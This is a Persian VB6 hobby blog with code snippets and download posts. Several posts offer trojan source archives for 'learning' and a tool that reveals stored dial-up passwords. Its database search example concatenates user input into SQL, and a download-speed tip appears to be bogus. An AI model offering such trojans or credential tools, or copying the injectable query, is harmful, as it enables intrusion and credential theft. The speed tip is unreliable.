تبلیغات
آموزس برنامه نویسی

اطلاعیه ی مهم :


با سلام خدمت شما دوستان عزیز .

در بخش برنامه نویسی شما می توانید پروژهای درسی و یا غیر

درسی ، خود را سفارش دهید .

انواع پروژه های برنامه نویسی همراه با بانك اطلاعاتی و سند

(Document ) .

با نازلترین قیمت . ارزان تر از همه جا . تفاوت قیمت را با ما تجربه كنید .

لیست پروژه ها به زبان ویژوال بیسیك :

1- مدیریت سیستم دانشجویی

2- سیستم انبار داری

3-سیستم مدیریت تاكسی تلفنی

4- باشگاه ورزشی

5- بیمارستان

6- سیستم مدیریت آموزشگاه راهنمایی و رانندگی

7- سیستم مدیریت آتیلیه عروس و داماد

8- و بسیاری از پروژه ها ،

نكته : تمامی این پروژه ها دارای بانك اطاعاتی ، و تمام گزینه ( اضافه كردن ، جستجو ، حذف ، گزارش گیری ، و...) می باشند .


    برای سفارش و نحوه کار کلیک کنید .



برچسب ها: برنامه نویسی ، در خواست پروژه ، پروژه های بانك اطلاعاتی ، سورس ویژوال بیسیك ، برنامه نویسی شی گرا ، كار با بانك اطلاعاتی ، دانلود پروژه ، فروش پروژه ، خرید پروژه ، پروژه ویژوال بیسیک ، ویژوال بیسیک ، پروژه ، پروژه پایان ترم ، پروژه ارزان ، بهترین پروژه ها ، فروش پروژه های آماده ، فروش پروژه های آماده ویژوال بیسیک ، برنامه ساخته شده با ویژوال بیسیک ، پروژه آماده ، فروش پروژه ویژوال ، انجام پروژه دانشجویی ، فروش پروژه دانشجویی ،

چهارشنبه 1389/01/25

ساخت نشانگر چشمک زن

   نوشته شده توسط: ::VB Love ::    

اگر نرم افزارهای حرفه ای و نیمه حرفه ای طراحی می کنید شما نیاز به تغییرات خیلی از تنظیمات نرم افزار تولیدی خود را بر عهده دارید تا بتوانید یک نرم افزار بهینه و در خور توجه تولید کنید.

در حالت عادی هنگامی که فوکوس را به جعبه ی متن (TextBox) می دهید یک میله (Beam) در حال چشمک زدن است شما با نرم افزار زیر به راحتی می توانید تصویر دلخواه خود را به جای Beam قرار دهید.

توضیح جزییات:

1- در پارامتر Hwnd تابع CreateCaret می توانیم فوکوس را به Textboxو یا ComboBox بدهیم تا تغییرات نشانگر را در کنترل مورد نظر اعمال کنیم.

2- عکس Beam در قسمت hBitmap مسیر دهی می شود؛توجه کنید که عکس به صورت سیاه و سفید و معکوس شده نشان داده می می شود.

3- توابع را در GotFocus کنترل مورد نظر بنویسید تا در صورت بدست آوردن فوکوس توسط جعبه متن عکس به جای Beam مورد نظر قرار گیرد.

4- توسط تابع CreatCaret نشانگر ایجاد و توسط ShowCaret نشانگر نمایش داده می شود.


دانلود 


برچسب ها: ساخت نشانگر چشمک زن ،

چهارشنبه 1389/01/25

سورس کد تروجان

   نوشته شده توسط: ::VB Love ::    

 یک تروجان کامل(157 کیلو بایت):لطفاَ فقط ؛برای یادگیری نحوه عملکرد سورس کد استفاده کنید.(نه موارد خرابکارانه)


دانلود


امروز برای شروع یک کتاب مفید برای دانلود گذاشتم که ویژوال بیسیک را به صورت گام به گام آموزش می ده . اگه دانلود نکنید از دستتون رفته .

برای دانلود روی لینک دانلود زیر کلیک کنید ، پس از وارد شدن به صفحه دیگر ، روی لینک دانلود کلیک راست کرده و گزینه Save Target As را بزنید و کتاب را دانلود کنید و لذت ببرید .

دانلود  كتاب


چهارشنبه 1388/12/12

ساختن متن سه بعدی با ویژوال بیسیک

   نوشته شده توسط: ::VB Love ::    

سلام دوستان . امروز می خواستم براتون یک کد ساده اما بی نظیر بگذارم که یک متن سه بعدی ایجاد می کند .


این کد را در ویژوال بیسیک درون یک دکمه بگذارید و دکمه را کلیک کنید و نتیجه لذت بخش آن را ببینید .

Dim i, x, y
Me.FontSize = 26
Me.ForeColor = 0: x = CurrentX: y = CurrentY
For i = 0 To 444
Print "VBCenter"
x = x + 1: y = y + 1: CurrentX = x: CurrentY = y
Next i
Me.ForeColor = 255
Print " VB IR"//www.vbir.mihanblog.com 


سه شنبه 1388/12/11

جستجو در تمام رکورد های یک بانک

   نوشته شده توسط: ::VB Love ::    

برای این کار کد زیر را وارد کنید.

Private Sub Command1_click()
Dim search as variant
sstr = InputBox("Enter Author to Search") ' Display a Input Box Window
data1.recordset.findfirst "Author='" & sstr & "'" ' Look for the record that has a value "sstr"
If trim(sstr) <> "" then
If data1.recordset.nomatch then 'check if the record exist
MsgBox "No record Exist"
Command1.setfocus
else
data1.recordsource = "SELECT * FROM TableName WHERE Author='" & sstr & "'" ' Display all the Records that has a Value of "sstr"
data1.refresh ' refresh the DBGRID or MSFLEXGRID
End if
End if
End Sub



برچسب ها: سورس ، پروژه ، رایگان ،

پنجشنبه 1388/12/6

معرفی کامل مسیج باکس

   نوشته شده توسط: ::VB Love ::    

خوب اینم به در خواست یه دوست که خواستار توضیح مسیج باکس بودند امیداورم که منظورشون همین بوده باشه

این یه فایله که حجمش هم ۳۵ کیلو بایت هست

  دانلود 


پنجشنبه 1388/12/6

پروژه درخواستی

   نوشته شده توسط: ::VB Love ::    

اینم پروژه ی ساده ای بود که می خواستین


یه بازی خیلی ساده که چهار تا محل برای کلیک کردن داره که سه تا شون بی خطر و یکیشون بمب هست و به صورت تصادفی هر بار پس از شروع مجدد جای بمب عوض می شه

در ضمن من به خاطر کار های زیادی که داشتم نتونستم اونو مستند سازی کنم

ولی کد ها اون خیلی واضحه و شما خودتون می تونین اونو مستند سازی کنید



برای اضافه کردن توضیحات به برنامه در ویژوال از یک پریم و بعد متن که که می خواهیم به عنوان توضیح استفاده کنیم رو قرار بدیم


   دانلود


پنجشنبه 1388/12/6

برنامه جدول ضرب

   نوشته شده توسط: ::VB Love ::    

خوب اینم برنامه ی جدول ضرب با ویژوال بیسیک 6




حجم فایل 1.66 کیلو بایت و زیپ شده



دانلود


چهارشنبه 1388/12/5

بازی

   نوشته شده توسط: ::VB Love ::    

اینم یه بازی تیراندازی! راستی توجه داشته باشید که اگر بازی تیراندازیه دیگه ای پیدا کردم تو همین پست پیوستش می کنم.

اگر فایل ها مشکلی داشتن بگین. پیشنهاد می کنم اول فایل ها رو Extract کنید و بعد ازشون استفاده کنید

دانلود بازی


سه شنبه 1388/12/4

مختصات جاری ماوس

   نوشته شده توسط: ::VB Love ::    

جهت بدست آوردن مختصات ماوس باید از توابع API استفاده کنیم.(نحوه کار کردن با توابع API قبل آموزش داده شده است.)

ابتدا تابع GetCursorPos را از توابع API فراخوانی کنید سپس کد زیر را در برنامه بصورت روبرو قرار دهید:

Private Type POINTAPI



X as long


Y as long



End Type

در این 2 متغیر مختصات ستون و سطر جاری ذخیره می شود ؛ حال کد زیر را در رویداد Form_MouseMove قرار دهید:

Dim Pt as POINTAPI


GetCursorPos Pt



Me.CurrentX=0


Me.CurrentY=0



Me.Cls

Label1.Caption=Str$(Pt.X) ‘ x position


Label2.Caption=Str$(Pt.Y) ‘ y position

حال اگر می خواهید مختصات خارج از فرم را هم نمایش دهید باید تمام کدهای بالا را به یک تایمر انتقال دهید سپس تابع SetCapture را هم از توابع API فراخوانی کنید سپس در انتهای کد موجود در تایمر دستور SetCapture Me.hwnd را قرار دهید.

Interval تایمر را برابر 20 و خاصیت Enabled آن را فعال کنید.


سه شنبه 1388/12/4

سورس ویژوال بیسیک

   نوشته شده توسط: ::VB Love ::    

اینم سورس یک برنامه دفترچه تلفن با امکان شماره گیری، با این برنامه احتیاجی به گرفتن شماره با دست نیست.

این یکی هم سورس یک تروجان که جنبه آموزشی داره، با این تروجان میشه برای قربانی پیغام فرستاد و درِ سی دی رام کامپیوترشو باز و بسته کرد برای تستش میتونید فایل کلاینت و سرور رو با هم روی سیستم خودتون اجرا کنید و در قسمت آی پی عدد 127.0.0.1 رو وارد کنید و سپس دکمه کانکت رو بزنید! تعجب نکنید این عدد آی پی کامپیوتر خودتونه و به هیچ کس دیگه ای ربط نداره.

و حالا یه کد که حتماً براتون خیلی جالبه. با چند خط کد، فرم برنامتون شیشه ای میشه! یعنی پشت فرمتون دیده میشه و البته مقدار شفافیت شیشتون...! ببخشید فرمتون قابل تنظیم هم هست.

اگر سوال، نظر یا انتقادی داشتید در قسمت نظرات بنویسید.

لینک دانلود:
http://www.pedia.persiangig.com/vb/dialer.zip
http://www.pedia.persiangig.com/vb/TransparentForm.zip
http://www.pedia.persiangig.com/vb/Trojan.zip

البته امیدوارم مشکل سرور پرشین گیگ حل شده باشه!


سه شنبه 1388/12/4

به زمین خوردن توپ بسکتبال

   نوشته شده توسط: ::VB Love ::    

در برنامه زیر شبیه سازی به زمین افتادن یک توپ را می توانید ببینید

کافی است در فرمتون یک آبجکت Shape1 و یک دکمه ایجاد کنید و کدهای زبر را به قسمت General کپی کنید


Private Sub Command1_Click()
h = Form1.Height
For i = 1 To 1800
For j = 1 To 200000
Next
r = i * 3.14 / 180
t = h - Abs(h * Sin(r) * Exp(-i / 800)) - 1200
Shape1.Top = t
Shape1.Left = i * 2
Form1.PSet (i * 2, t)
Next
End Sub

Private Sub Form_Load()
Shape1.Shape = 3
Shape1.BackColor = vbYellow
Shape1.BackStyle = 1
End Sub


چهارشنبه 1388/08/27

ماشین حساب مهندسی

   نوشته شده توسط: ::VB Love ::    

این برنامه برنامه یک ماشین حساب مهندسی است تقریباْ مثل ماشین حساب ویندوز است البته عملکرد آن را می گویم.


دانلود برنامه


چهارشنبه 1388/08/27

حروف اختصار

   نوشته شده توسط: ::VB Love ::    

این برنامه با استفاده از بانک اطلاعاتی و Data نوشته شده است که شامل گزارشگیری و ویرایش و حذف و جستجو و دکمه های زیبا و ... می باشد اگر Downlod نکنی از دست دادی . نظر هم پاش بزار که حالی کنم بقیه برنامه هام رو هم بزارم


دانلود برنامه حجم 15۶ KB


چهارشنبه 1388/08/27

نمایش پسورد Dialup

   نوشته شده توسط: ::VB Love ::    

با سلام به همه دوستان.

یک برنامه براتون گذاشتم که پسورد Dialup ویندوز رو نمایش میده .شاید خیلی ها این برنامه رو دیده باشن ولی دوستانی گفتن ما هم گذاشتیم.

User Name:

:Password

و شماره اتصال به ISP من این برنامه رو به حالت exe تو وبلاگ گذاشته بودم.

امیدوارم که مورد قبول دوستان باشد.

لینک دانلود: دانلود فایل

حجم فایل: 209 کیلوبایت

 


نحوه Save کردن یک فایل موسیقی یا صدای پس زمینه یک سایت اینترنتی
گاهی اوقات وارد سایتی می شویم و پس از لحظه ای موسیقی زیبایی پخش می شود که در مواردی ما را علاقمند می سازد که این موسیقی را در کامپیوتر خود save کنیم.
برای انجام این کار در روی صفحه ای که می خواهید صدای پس زمینه آنرا save کنید بروید و سپس با ماوس کلیک راست کنید. سپس از منوی باز شده گزینه View Source را انتخاب کنید تا پنجره مربوطه باز شود. در این صفحه به دنبال عبارت bgsound بگردید. وقتی که آن را پیدا کردید جلوی آن نام فایلی می بینید مثلا به صورت .pop.mind این نام را بردارید و در نوار آدرس آخرین عبارت ( که پس از آخرین / آمده است ) را پاک کنید و به جای آن نام فایلی را که پیدا کردید تایپ کنید و inter را بزنید. حلا فایل صوتی آماده است!
برای مثال اگر آدرس صفحه این چنین بود:
www.worldmusic.com/africa/senegal/folkore.html
آن را به این صورت بنویسید:
www.worldmusic.com/africa/senegal/pop.mid

افزایش سرعت دانلود در نرم افزار Download Accelerator
نرم افزار Dap یا download accelerator plus شاید شناخته شده ترین نرم افزار دانلود در جهان اینترنت و به خصوص در میان کاربران ایرانی باشد. این نرم افزار بیشتر به خاطر افزایش سرعت دانلود و همچنین امکان ادامه دانلود بعد از disconnect شدن معروف است. اما با استفاده از ترفندی می توانید سرعت دانلود در این نرم افزار را تا حد زیادی بالاتر ببرید.
ابتدا نرم افزار dap را باز کنید و از منوی بالا و قسمت option به بخش preferences بروید سپس به قسمت advanced رفته و بر روی log view کلیک کنید در پنجره باز شده در صورت وجود هر گونه متنی آن را پاک کرده و متن زیر را در آن جایگزین کنید :
ereg-dict-ja.xml`.line 2,position 90
gus7b:ajain”speeder 2
kai[psd]100
se;rec56kbps
در آخر دقت کنید در صورتی که سرعت اینترنت شما عدد دیگری است آن را از 56 به سرعت اینترنت خود تغییر دهید.


چهارشنبه 1388/08/27

نمایش مقدار حافظه فیزیکی و مجازی با ویژوال بیسیک

   نوشته شده توسط: ::VB Love ::    

:: این بر نامه با استفاده از API مقدار حافظه فیزیکی و مجازی و ... را برایتان نمایش می ده . این برنامه خیلی ساده است و توضیحی هم ندارم که براش بدم چون اگه یه نگاه به سورسش بندازید می فهمید که چیز خاصی نداره .

Private Type Memory
Length As Long
MemoryLoad As Long
TotalPhysMemory As Long
AvailablePhysMemory As Long
TotalPageFile As Long
AvailPageFile As Long
TotalVirtualMemory As Long
AvailableVirtualMemory As Long
End Type

Private Declare Sub GlobalMemoryStatus Lib "kernel32" (M As Memory)

Private Sub Timer1_Timer()
   Dim M As Memory
   GlobalMemoryStatus M

   LblAvlMem.Caption = Format(CDbl(M.AvailablePhysMemory / 1048576), "#.## MB")
   LblTotalPhMem.Caption = Format(CDbl(M.TotalPhysMemory / 1048576), "#.## MB")
   LblUsedMemory.Caption = Format(CDbl((M.TotalPhysMemory - M.AvailablePhysMemory) / 1048576), "#.## MB")
   LblPercentPhMem.Caption = Format(CDbl((M.AvailablePhysMemory / M.TotalPhysMemory)), "##.#%")

   LblVirtualMem.Caption = Format(CDbl(M.AvailableVirtualMemory / 1048576), "#.## MB")
   LblTotalVirtualMem.Caption = Format(CDbl(M.TotalVirtualMemory / 1048576), "#.## MB")
   LblUsedVirtualMem.Caption = Format(CDbl((M.TotalVirtualMemory - M.AvailableVirtualMemory) / 1048576), "#.## MB")
   LblPercentVirtualMem.Caption = Format(CDbl((M.AvailableVirtualMemory / M.TotalVirtualMemory)), "##.#%")
End Sub

برای دانلود برنامه اینجا کلیک کنید


چهارشنبه 1388/08/27

چگونه می توان یک Explorer را اجرا کرد ؟

   نوشته شده توسط: ::VB Love ::    

برای این کار می توان از راههای مختلفی استفاده کرد مثلاً از شیء Shell و . . .  . برای اینکار از منوی Project

آیتم Preference را انتخاب کنید , اکنون آیتم Microsoft Shell Controls and Automaton  را انتخاب کنید . حالا

مراحل زیر را انجام میدهیم .

 

Dim SH As New Shell

حالا می توانید از متدهای زیادی که این شیء در اختیارتان می گزارد استفاده کنید . از جمله این متد های اجرا Internet Explorer , Outlook , اجرای آیتم های موجود در کنترل پنل , نمایش پنجره جستجوی ویندوز و کلی کارهای مفید دیگه . به مثالهای زیر توجه کنید

SH.Open "http://vbir.mihanblog.com"

SH.TrayProperties

SH.SetTime

SH.FindComputer 'System Search

SH.ControlPanelItem "sysdm.cpl" 'System Properties

SH.ControlPanelItem "inetcpl.cpl" 'Internet Options

SH.ControlPanelItem "'appwiz.cpl" 'Add/Remove Programs 

این شیء دارای متدهای دیگری هم میباشد که به راحتی می توانید از آنها استفاده کنید


چهارشنبه 1388/08/27

یک برنامه کاربردی دیگه (CodeColor)

   نوشته شده توسط: ::VB Love ::    

سلام دوستان به خاطر اینکه وبلاگ رو دیر به دیر Update می کنم معذرت [خیلی گرفتارم] می خوام یه برنامه واسه یه جایی دارم مینویسم که به زودی کل Source آنو رو وبلاگ قرار میدم . در ضمن از شما به خاطر  نظرات تون ممنونم. 

ولی واسه امروز یه برنامه گذاشتم که امیدوارم به دردتون بخوره , شما می تونید با تغییرات جزیی در سورس این برنامه یه Editor برای زبان های برنامه نویسی بنویسد .این برنامه کلمات کلیدی که مشخص شده را با رنگ خاصی از سایر متن نمایش می دهد , مانند محیط کد نویسی زبان ویژوال بیسیک خودمون .

 

حال شما فرض کنید که می خواهید یک کلمه کلیدی جدید اضافه کنید برای این کار شما باید قطعه کد زیر را به تابع SetColors اضافه کنید :

ColorizeWord controlname , "keyword" , colorcode

در ضمن لازم می بینم که بگم این برنامه احتمالاً دارای اشکالاتی نیز می باشد که امیدوارم خودتون برنامه رو Develope بدید و کامل کنید.

برای دریافت برنامه اینجا کلیک کنید.


تعداد کل صفحات: 2 1 2